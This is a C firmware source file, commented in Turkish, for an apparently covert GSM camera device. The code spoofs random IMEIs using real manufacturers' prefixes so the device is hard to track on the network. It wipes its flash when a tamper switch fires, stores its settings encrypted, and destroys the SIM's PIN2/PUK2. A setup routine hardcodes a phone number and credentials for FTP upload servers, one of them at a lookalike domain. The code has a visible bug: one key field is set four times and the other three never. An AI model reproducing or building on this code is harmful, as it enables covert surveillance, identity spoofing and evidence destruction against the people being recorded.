 *          - **IMEI Üretimi:** GSM modülü için geçerli ve rastgele 15 haneli IMEI
 *          numaraları üretir (`createIMEI`). Bu, ağda tanınma ve takip zorlaştırma
 *          için kritik bir özelliktir.
 *
 *          - **İlk Kurulum:** Sadece geliştirici tarafından kullanılan, cihazın fabrika
 *          ayarlarını yükleyen özel bir fonksiyon (`dikkatBirDefayaMahsusIHostSetup`) içerir.
 *
 *********************************************************************************************************************************/
#include "AllDevicesInit.h"
#include "AllDevicesOrtak.h"
#include "iHostDefs.h"
#include "iHost_gsmUpdate.h"

#include "em_rmu.h"
#include "em_msc.h"
#include "em_system.h"


/* Tek (ODD) veya Çift (EVEN) farketmez, GPIO tetiklenince NUKE YAP */
void GPIO_EVEN_IRQHandler(void)
{ GPIO_IntClear( GPIO_IntGet() ); gecko_cmd_system_reset(0); }
void GPIO_ODD_IRQHandler(void)
{ GPIO_IntClear( GPIO_IntGet() ); gecko_cmd_system_reset(0); }

/*
 * encrypt
 *   Encrypt 64 bits with a 128 bit key using TEA
 *   From http://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm
 * Arguments:
 *   v - array of two 32 bit uints to be encoded in place
 *   k - array of four 32 bit uints to act as key
 *
 */
void encrypt () {
	uint32_t enOfset = (uint32_t) SYSTEM_GetUnique();		/* UniqueID ile keyleri XOR yap ki her cihazda farklı key kullanılsın */
	uint32_t k0=(enOfset ^= systemVariables.enKey1), k1=(enOfset ^= systemVariables.enKey2),
			 k2=(enOfset ^= systemVariables.enKey3), k3=(enOfset ^= systemVariables.enKey4);
    uint32_t delta=0x9e3779b9;
	uint32_t v0, v1, i;

	uint32_t *ptrSysVar;
	ptrSysVar = (uint32_t *) &systemVariables;

	/*
	 * İlk 4 uint32_t Key'ler var, Şifreme/Deşifreleme onlardan sonra başlasın diye 2'den Başlar
	 * 		Her seferinde 4 + 4 byte işlendiği için /8 ile yaklaşık döngü sayısı bulunur
	 *
	 */
	for (int dongu = 2; dongu < (sizeof(systemVariables)/8); dongu++) {
		uint32_t sum = 0;
		v0 = *(ptrSysVar + (dongu*2)); v1 = *(ptrSysVar + (dongu*2) + 1);

	    for (i=0; i < 32; i++) {                       /* basic cycle start */
	        sum += delta;
	        v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
	        v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
	    }                                              /* end cycle */

	    *(ptrSysVar + (dongu*2) ) = v0; *(ptrSysVar + (dongu*2) + 1) = v1;
	}
}

/*
 * decrypt
 *   Decrypt 64 bits with a 128 bit key using TEA
 *   From http://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm
 * Arguments:
 *   v - array of two 32 bit uints to be decoded in place
 *   k - array of four 32 bit uints to act as key
 *
 */
//void decrypt (uint32_t* v, uint32_t* k) {
void decrypt () {
	uint32_t enOfset = (uint32_t) SYSTEM_GetUnique();		/* UniqueID ile keyleri XOR yap ki her cihazda farklı key kullanılsın */
	uint32_t k0=(enOfset ^= systemVariables.enKey1), k1=(enOfset ^= systemVariables.enKey2),
			 k2=(enOfset ^= systemVariables.enKey3), k3=(enOfset ^= systemVariables.enKey4);
    uint32_t delta=0x9e3779b9;
	uint32_t v0, v1, i;

	uint32_t *ptrSysVar;
	ptrSysVar = (uint32_t *) &systemVariables;

	/*
	 * İlk 4 uint32_t Key'ler var, Şifreme/Deşifreleme onlardan sonra başlasın diye 2'den Başlar
	 * 		Her seferinde 4 + 4 byte işlendiği için /8 ile yaklaşık döngü sayısı bulunur
	 *
	 */
	for (int dongu = 2; dongu < (sizeof(systemVariables)/8); dongu++) {
		uint32_t sum=0xC6EF3720;
		v0 = *(ptrSysVar + (dongu*2)); v1 = *(ptrSysVar + (dongu*2) + 1);

		for (i=0; i<32; i++) {                         /* basic cycle start */
			v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
			v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
			sum -= delta;
		}                                              /* end cycle */

		*(ptrSysVar + (dongu*2) ) = v0; *(ptrSysVar + (dongu*2) + 1) = v1;
	}
}

/*
 * initTamper() Tamper switch aktif edilir
 *		Interrupt rutini aktif hale getirilir
 *
 *		Bu rutin sonrası sistem tam Savaş Halindedir
 *			En ufak bir switch tetiklenmesi sistemi NUKE YAPAR!
 *
 */
void initTamper(void)
{
	uint8_t tmpI = GPIO_PinInGet(TAMPER_PORT, TAMPER_PIN);						/* Tam reset anındaki switch durumu										*/
	if (tmpI == 0)																/* Eğer reset anında switch açıldıysa (bu durumda interrup oluşmaz)		*/
	{ nukeSystem(); }															/* Bu sebeple sistem açılışında nukeSystem() çalıştırılır				*/

	NVIC_ClearPendingIRQ(GPIO_EVEN_IRQn);
	NVIC_EnableIRQ		(GPIO_EVEN_IRQn);
	NVIC_ClearPendingIRQ(GPIO_ODD_IRQn);
	NVIC_EnableIRQ		(GPIO_ODD_IRQn);
}

void flashHesiniSil(void)
{
    msc_Return_TypeDef ret;

    MSC_Init();					/* MSC init */

	ret = MSC_ErasePage((uint32_t *) USERDATA_BASE);

	if (ret == mscReturnOk)
	{ xprint("Silme islemi basarili"); } else
	{ xprint("Silme islemi ERROR: %d", (int) ret); }
}

/*
 * Belirtilen uzunlukta veriyi Flash bölgeden kopyalar
 *		Decrypt ederek hazır hale getirir
 *
 */
void flashRead()
{
	memcpy((uint32_t *) &systemVariables, (uint32_t *) USERDATA_BASE, sizeof(systemVariables));

	decrypt();

//	xprint("imeiHata: %d", (int) systemVariables.imeiHATA);
//	xprint("Kamera oncesi bekleme: %d", (int) systemVariables.camWait);
//	xprint("Kamera kayit suresi: %d", (int) systemVariables.camRecord);
//	xprint("Periyotik upload zamani: %d", (int) systemVariables.updatePeridyotic);
//	xprint("Upload dosya limiti: %d", (int) systemVariables.updateFileLimit);
//	xprint("Son pin girisi dogru: %d", (int) systemVariables.pinDogru);

//	xprint("%s", systemVariables.aranacakNo);
//	xprint("%s", systemVariables.enDetect);
//	xprint("%s", systemVariables.pin);
//	xprint("%s", systemVariables.vodafoneAPN);
//	xprint("%s", systemVariables.turkcellAPN);
//	xprint("%s", systemVariables.ftpServer1);
//	xprint("%s", systemVariables.ftpUser1);
//	xprint("%s", systemVariables.ftpPass1);
//	xprint("%s", systemVariables.ftpServer2);
//	xprint("%s", systemVariables.ftpUser2);
//	xprint("%s", systemVariables.ftpPass2);
}

/*
 * Belirtilen uzunlukta veriyi Flash'a yazar
 * 		Word yani "2 x 32bit = 8 byte" yazılma zorunluluğu var
 * 		Hassas ayarlama yapılmak istendiğinde sonuna 0x00 yazarak 8'in katları döngüsü yapılabilir
 * 		Uygulamada dummy kısım olduğu için son tarafların hiç önemi yok
 *
 * 		Her flashWrite() işleminden önce ERASE ALL MECBURİ
 *
 */
void flashWrite()
{
	msc_Return_TypeDef ret;

    MSC_Init();			/* MSC init																				*/
    encrypt();			/* Önce encrypt et, sonra yaz 															*/
    flashHesiniSil();	/* Yazma işleminden önce mecburi hepsi silinmek zorunda 								*/

    ret = MSC_WriteWord((uint32_t *) USERDATA_BASE, (uint32_t *) &systemVariables, sizeof(systemVariables));

    if (ret == mscReturnOk)
	{ xprint("Yazma islemi basarili"); } else
	{ xprint("Yazma islemi ERROR: %d", (int) ret); }

    flashRead();		/* systemVariables encrypt yapıldığı için flash tekrar okunup decrypt yapılmak zorunda 	*/
}

/*
 * imei'nin son digit'ini hesaplar ve geçerli bir imei haline getirir
 * 		14 basamaklı bir imei gönderilir
 * 		geriye döndürülen değerle 15 basamaklı geçerli bir imei elde edilir
 *
 */
uint8_t _imei_calcDigit(char *imei)
{
	int8_t i, sum, ch, num, twoup, len, tmp; /* Eksi değer alabildiği için signed int */

	//len = strlen(imei);
	len = 14;
	sum = 0;
	twoup = 1;
	for (i = len - 1; i >= 0; --i) {
		ch = imei[i];
		num = (ch >= '0' && ch <= '9') ? ch - '0' : 0;
		if (twoup) {
			num += num;
			if (num > 9) num = (num % 10) + 1;
		}
		sum += num;
		tmp = ++twoup & 1;
		twoup = tmp;
	}
	sum = 10 - (sum % 10);
	if (sum == 10) sum = 0;
	return sum;
}

/*
 * 15 basamaklı imei gönderilip geçerli olup olmadığı sorgulanır
 *
 */
bool _imei_check(char *imei)
{
	int8_t i, sum, ch, num, twoup, len, tmp;

	//len = strlen(imei);
	len = 15;
	sum = 0;
	twoup = 0;
	for (i = len - 1; i >= 0; --i) {
		ch = imei[i];
		num = (ch >= '0' && ch <= '9') ? ch - '0' : 0;
		if (twoup) {
			num += num;
			if (num > 9) num = (num % 10) + 1;
		}
		sum += num;
		tmp = ++twoup & 1;
		twoup = tmp;
	}
	sum = 10 - (sum % 10);
	if (sum == 10) sum = 0;
	return (sum == 0) ? true : false;
}

bool createIMEI(char *imei, bool simCom)
{
	const char imei_SimCom[8]  		= "35976903";
	const char imei_Lg3g[8]			= "35363803";
	const char imei_LgCookie3g[8]	= "35573903";
	const char imei_Samsung3g[8]	= "35427703";
	const char imei_Touch3g[8] 		= "35450302";
	const char imei_Prestigio3g[8] 	= "35893105";
	const char imei_Alps3g[8]		= "35747505";
	const char imei_Option3g[8]		= "35196900";
	const char imei_Option23g[8]	= "35693600";
	const char imei_Pupillo3g[8]	= "35684900";
	const char imei_Curve3g[8]		= "35743704";

	char tmpBuffer[30] = ""; 		/* Rakamları tutacak uzun buffer 										*/
	char tmpIMEI[30]   = "";		/* Üzerinde çalışılan geçici IMEI 										*/
	bool result = false;			/* Geri döndürülecek başarı durumu 										*/

	struct gecko_msg_system_get_random_data_rsp_t* randomVal;	/* randomVal struct tanımlaması 			*/
	randomVal = gecko_cmd_system_get_random_data(16);			/* randomVal 2 byte'lık veri ile doldurulur */

	/* 4 tane 2byte'lık veri tmpBuffer'a koyulur, bu gerekenden uzun bir veri yapar */
	sprintf(tmpBuffer, "%d%d%d%d",	randomVal->data.data[0], randomVal->data.data[2], randomVal->data.data[4], randomVal->data.data[7]);

	tmpBuffer[6] = 0; 	/* Uzun veriyi 6 Basamakta kilitle */
	//xprint("tmpBuffer: %s", tmpBuffer);

	if (simCom) {									/* Eğer Sim Com 5216 IMEI talep ediliyorsa 				*/
		xprint("SimCom IMEI Hesaplanacak");
		memcpy(tmpIMEI, imei_SimCom, 8);			/* İlk 8 byte'ı kopyala, sprintf ile olmuyor 			*/
	}
	else {
		switch(tmpBuffer[5]) {						/* Son rakamına göre Random bir TAC Seçilir 			*/

		case '0':
			xprint("Lg3g IMEI Hesaplanacak");
			memcpy(tmpIMEI, imei_Lg3g, 8);			/* İlk 8 byte'ı kopyala, sprintf ile olmuyor 			*/
			break;

		case '1':
			xprint("LgCookie3g IMEI Hesaplanacak");
			memcpy(tmpIMEI, imei_LgCookie3g, 8);	/* İlk 8 byte'ı kopyala, sprintf ile olmuyor 			*/
			break;

		case '2':
			xprint("Samsung3g IMEI Hesaplanacak");
			memcpy(tmpIMEI, imei_Samsung3g, 8);		/* İlk 8 byte'ı kopyala, sprintf ile olmuyor 			*/
			break;

		case '3':
			xprint("Touch3g IMEI Hesaplanacak");
			memcpy(tmpIMEI, imei_Touch3g, 8);		/* İlk 8 byte'ı kopyala, sprintf ile olmuyor 			*/
			break;

		case '4':
			xprint("Prestigio3g IMEI Hesaplanacak");
			memcpy(tmpIMEI, imei_Prestigio3g, 8);	/* İlk 8 byte'ı kopyala, sprintf ile olmuyor 			*/
			break;

		case '5':
			xprint("Alps3g IMEI Hesaplanacak");
			memcpy(tmpIMEI, imei_Alps3g, 8);		/* İlk 8 byte'ı kopyala, sprintf ile olmuyor 			*/
			break;

		case '6':
			xprint("Option3g IMEI Hesaplanacak");
			memcpy(tmpIMEI, imei_Option3g, 8);		/* İlk 8 byte'ı kopyala, sprintf ile olmuyor 			*/
			break;

		case '7':
			xprint("Option23g IMEI Hesaplanacak");
			memcpy(tmpIMEI, imei_Option23g, 8);		/* İlk 8 byte'ı kopyala, sprintf ile olmuyor 			*/
			break;

		case '8':
			xprint("Pupillo3g IMEI Hesaplanacak");
			memcpy(tmpIMEI, imei_Pupillo3g, 8);		/* İlk 8 byte'ı kopyala, sprintf ile olmuyor 			*/
			break;

		case '9':
			xprint("Curve3g IMEI Hesaplanacak");
			memcpy(tmpIMEI, imei_Curve3g, 8);		/* İlk 8 byte'ı kopyala, sprintf ile olmuyor 			*/
			break;

		default:
			xprint("Hata var!. SimCom IMEI Hesaplanacak");
			memcpy(tmpIMEI, imei_SimCom, 8);		/* İlk 8 byte'ı kopyala, sprintf ile olmuyor 			*/
			break;
		}
	}

	memcpy(tmpIMEI + 8, tmpBuffer, 6);				/* Random 6 basamak ekleyip TAC+Random(14byte) oluştur 													*/
	int8_t tmpC = _imei_calcDigit(tmpIMEI);			/* Kontrol değerini hesapla 																			*/
	sprintf(imei, "%s%d", tmpIMEI, tmpC);			/* Hesaplanan rakamı ekleyip tam imei oluştur, %d ile otomatik tip çevrimi, memcpy kullanmıyorum 		*/
	result = _imei_check(imei);						/* Tüme imei doğruluğunu kontrol et 																	*/

	xprint("Hesaplanan IMEI: %s - tmpC: %d - Dogruluk: %d", imei, tmpC, result);

	return result;
}

/*********************************************************************************************************************************
 * @brief	UNIQUEID_STR ve DATETIME_STR Global değişkenleri hazırlanır
 *
 * @details
 *			Cihazın Bluetooth adresinin de olduğu UniqueID alınır
 *			Şuanki DateTime bilgisi alınır
 *			Bu bilgiler string olarak Global Değişkenlere kaydedilir ve özgün FileName oluşturma ve diğer amaçlarda kullanıılır
 *
 ********************************************************************************************************************************/
void uniqueIDnDateTme(void)
{
	uint64_t sysID = SYSTEM_GetUnique();			/* System unique ID'sini al 																			*/
	uint32_t dTime = CRYOTIMER_CounterGet();		/* CRYO Timer'dan date time bilgisini al 																*/
	uint8_t	 tmpBuffer[4];							/* Geçici buffer - En az 4 byte olmalı (Date Time) 														*/
	uint8_t  dongu;									/* Geçici döngü değişkeni 																				*/

	memset(UNIQUEID_STR, 0, sizeof(UNIQUEID_STR));	/* uniqueID sıfırla, sonu otomatik NULL olsun 															*/
	memset(DATETIME_STR, 0, sizeof(DATETIME_STR));	/* dateTime sıfırla, sonu otomatik NULL olsun 															*/

	tmpBuffer[0] = (uint8_t) (sysID >> 16);
	tmpBuffer[1] = (uint8_t) (sysID >> 8);
	tmpBuffer[2] = (uint8_t) (sysID);

	for (dongu = 0; dongu < 3; dongu++)
	{ sprintf(&(UNIQUEID_STR[dongu * 2]), "%02X", tmpBuffer[dongu]); }

	xprint("UNIQUEID_STR: %s", UNIQUEID_STR);

	tmpBuffer[0] = (uint8_t) (dTime >> 24);
	tmpBuffer[1] = (uint8_t) (dTime >> 16);
	tmpBuffer[2] = (uint8_t) (dTime >> 8);
	tmpBuffer[3] = (uint8_t) (dTime);

	for (dongu = 0; dongu <  4; dongu++)
	{ sprintf(&(DATETIME_STR[dongu * 2]), "%02X", tmpBuffer[dongu]); }

	xprint("DATETIME_STR: %s", DATETIME_STR);
}

/*
 * !!! MODÜL AÇILDIKTAN SONRA ENABLE YAPILIR!! YOKSA SLEEP'E GEÇMEZ !!!
 *
 * Uart pinleri Enable veya Disable yapılır
 * 		GSM Modül Sleep'e geçebilmesi için özellikle TX Pin'i reset edilmelidir
 * 			GSM Modül içersinde Pull-Down bulunduğu için, Disabled yapılmazsa Sleep'e geçmemektedir
 * 			Sürekli olarak 20-30mAh harcamaktadır!!
 *
 * 		TX Low active çalışmaktadır. Idle = high olduğundan 1 hatasız başlama için 1 yapılır
 *
 */
void txAyarla(bool Basla)
{
	if (Basla)
//	{ GPIO_PinModeSet(GSM_PORT, GSM_TX_PIN, gpioModeWiredOr, 1); GPIO_PinModeSet(GSM_PORT, GSM_RX_PIN, gpioModeInput, 0); }	else
	{ GPIO_PinModeSet(GSM_PORT, GSM_TX_PIN, gpioModePushPull, 1); } else
	{ GPIO_PinModeSet(GSM_PORT, GSM_TX_PIN, gpioModeDisabled, 0); }
}

/*
 * Bir defaya mahsus iHost Setup
 * 		Developer tarafından cihaz ilk kullanıma hazırlanır
 *
 * 		MCU'nun flash bilgileri kaydedilir
 * 		SIM kartın PIN'i set edilir
 * 		SIM Kartın PIN2 ve PUK2 FUCK yapılır
 *
 */
void dikkatBirDefayaMahsusIHostSetup(void)
{
	xprint("********** DEVELOPER IHOST SETUP BASLADI **********");
	xprint("systemVariables ve Flash ayarlaniyor");

	memset(&systemVariables, 0, sizeof(systemVariables));	/* systemVariables içeriğini reset et (Set edilmeye variable'ların kirli kalma olasılığı var) */

	systemVariables.enKey1 					= 0xa83c4f29;
	systemVariables.enKey1 					= 0x4c40db23;
	systemVariables.enKey1 					= 0x512659c0;
	systemVariables.enKey1 					= 0x33adf035;
	systemVariables.imeiHATA 				= 0;
	systemVariables.pinDogru 				= 0;
	systemVariables.camWait					= 0;
	systemVariables.camRecord				= 15;
	systemVariables.updatePeridyotic		= 7;
	systemVariables.updateFileLimit			= 6;

	sprintf(systemVariables.camRes, 		"320,240");
	sprintf(systemVariables.camFps, 		"2");
	sprintf(systemVariables.camNight, 		"1");
	sprintf(systemVariables.camWhiteBal, 	"1");
	sprintf(systemVariables.camBright, 		"3");				/* Default 3, 6'ya kadar çıkabilir */
	sprintf(systemVariables.aranacakNo, 	"+905353078471");
	sprintf(systemVariables.enDetect, 		"DUMPING");
	sprintf(systemVariables.pin, 			"1234");
	sprintf(systemVariables.vodafoneAPN,	"vodafone");
	sprintf(systemVariables.turkcellAPN,	"internet");
	sprintf(systemVariables.ftpServer1,		"nozy.exavault.com");
	sprintf(systemVariables.ftpUser1,		"dev01");
	sprintf(systemVariables.ftpPass1,		"dev0101");
	sprintf(systemVariables.ftpServer2,		"ftp.gglstatics.xyz");
	sprintf(systemVariables.ftpUser2,		"u678253584.a31a98");
	sprintf(systemVariables.ftpPass2,		"D38DLrVDHqNr");

	systemVariables.camHStart				= 0;  	/* Test için 200 	*/
	systemVariables.camHStop				= 0;	/* Test için 416  	*/
	systemVariables.camVStart				= 0; 	/* Test için 84 	*/
	systemVariables.camVStop				= 0;	/* Test için 256  	*/

	flashWrite();		/* System Variables şifrelenerek kaydedilir */
	fuckPin2Puk2();		/* Pin2 ve Puk2 varsa yok eder				*/

	xprint("********** DEVELOPER IHOST SETUP BITTI **********");
}

void initIHost(void)
{
	uint32_t resetCause;

	initDevice(); 											/* Tüm cihazlar için ortak init 															*/
	resetCause = RMU->RSTCAUSE;								/* Olabildiğince hızlı şekilde reset sebebini öğren											*/
	RMU_ResetCauseClear();									/* Reset sebebini sil																		*/
	(void) resetCause;										/* İlerde belki kullanılır																	*/

	ZAMAN_SIFIRLA;
	xprintC("\n\n\n****************** iHost Basladi ******************\n");

#ifdef DEBUG
	xprint("Acilis yavaslamasi");
	bekle(1000, true, 2);									/* Debug Mod'a özel açılış yavaşlaması 														*/
#endif

	btUpdateBuffer			= &_btUpdateBuffer;				/* btUpdateBuffer'ı init yap																*/
	btUpdateHeader			= _btUpdateHeader; 				/* btUpdateBufferHeader init																*/

	GPIO_PinModeSet(  TAMPER_PORT, TAMPER_PIN, gpioModeInputPullFilter, 1); 	/* Tamper Switch init yap, input pullup, Active low; 0 olursa NUKE yap 	*/
	GPIO_ExtIntConfig(TAMPER_PORT, TAMPER_PIN, TAMPER_PIN, false, true, true);	/* Düşen kenarda trigger yap 											*/
}

Paylaş:

Çağatay Evyapan - ChaO • © 2026 •